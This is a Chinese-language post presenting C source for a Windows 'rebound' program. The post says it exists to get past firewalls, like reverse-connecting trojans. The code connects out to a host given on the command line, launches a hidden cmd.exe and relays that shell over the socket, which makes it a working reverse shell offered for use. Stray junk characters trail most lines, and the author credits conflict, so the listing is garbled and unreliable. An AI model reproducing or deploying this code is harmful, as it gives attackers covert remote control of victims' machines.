这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== ;B 8Q,.t>x
Rebound port in Windows NT rn)Gx25
By wind,2006/7 ]?(kaNQ"D
===============================*/ v1{j1~ZR
#include 6Pl|FIJF
#include 4:rwzRDY
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#pragma comment(lib,"wsock32.lib") KR$Fd
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void OutputShell(); sA?8i:]O:
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iz-z?)%
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void main(int argc,char **argv) QtnNc!,n
{ *90dkJZ.
WSADATA stWsaData; _3 3 b %
int nRet; #l}Fk)dj
SOCKADDR_IN stSaiClient,stSaiServer; ljK?2z>
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if(argc != 3) "Y<;R+z
{ qj~=qV0p
printf("Useage:\n\rRebound DestIP DestPort\n"); Q8`V0E\~
return; 7vZO;FGtG
} \Vx^u}3O
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WSAStartup(MAKEWORD(2,2),&stWsaData); nlB'@r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4o}{3! m
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stSaiClient.sin_family = AF_INET; A4f"v)vM
stSaiClient.sin_port = htons(0); =%~- M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ftRFG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }T$BU>z33N
{ YtvDayR>
printf("Bind Socket Failed!\n"); r =x"E$
return; BO*)cLQ
} Ua
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stSaiServer.sin_family = AF_INET; WOj}+?/3 R
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); } +Sp7F1q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "mBM<rEn*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FUL3@Gb$UV
{ $[A^8[//
printf("Connect Error!"); +&7V@
return; DRm`y>.
} lU!_V%n
OutputShell(); `_cv& "K9f
} ^|Z'}p|&
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void OutputShell() dUa>XkPa\2
{ /g>-s&w
char szBuff[1024]; >;9g`d
SECURITY_ATTRIBUTES stSecurityAttributes; q`p0ul,n
OSVERSIONINFO stOsversionInfo; 1"CWEL`i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?rOj?J9
STARTUPINFO stStartupInfo; `WH$rx!
char *szShell; 2+y wy^
PROCESS_INFORMATION stProcessInformation; ied1+H
unsigned long lBytesRead; ;MGm,F,o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BGi'UL,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); % WDTnEm
stSecurityAttributes.lpSecurityDescriptor = 0; 2o(O`;z
stSecurityAttributes.bInheritHandle = TRUE; Nsh/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h^rG5Q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @cIYS%iZ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >8{w0hh;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~"%'(j_4
stStartupInfo.wShowWindow = SW_HIDE; ;N.dzH2yA
stStartupInfo.hStdInput = hReadPipe; ggPGKY-b=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &*/= `=:C8
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GetVersionEx(&stOsversionInfo); h'S0XU
;
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switch(stOsversionInfo.dwPlatformId) Io<T'K
{ "Q+wO+}6
case 1: =KQIrS:
szShell = "command.com"; NpGi3>5
break; 8B-PsS|'
default: EE]xZz>o
szShell = "cmd.exe"; ?<.a>"!
break; $s=` {v v
} {wM<i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); EXeV@kg
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send(sClient,szMsg,77,0); Xbmsq,*]
while(1) e+!xy&u@u
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `=pA;R9
if(lBytesRead) rNhS\1-
{ rF[-4t
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &i3SB[|
send(sClient,szBuff,lBytesRead,0); sHPAr}14
} GmNCw5F
else >x%HqP#_V
{ (7<G1$:z=
lBytesRead=recv(sClient,szBuff,1024,0); {i=V:$_#
if(lBytesRead<=0) break; \y271}'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Jq)k5X>&Sj
} *J^FV^E``
} #xx.yn(7
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return; V?yQm4
}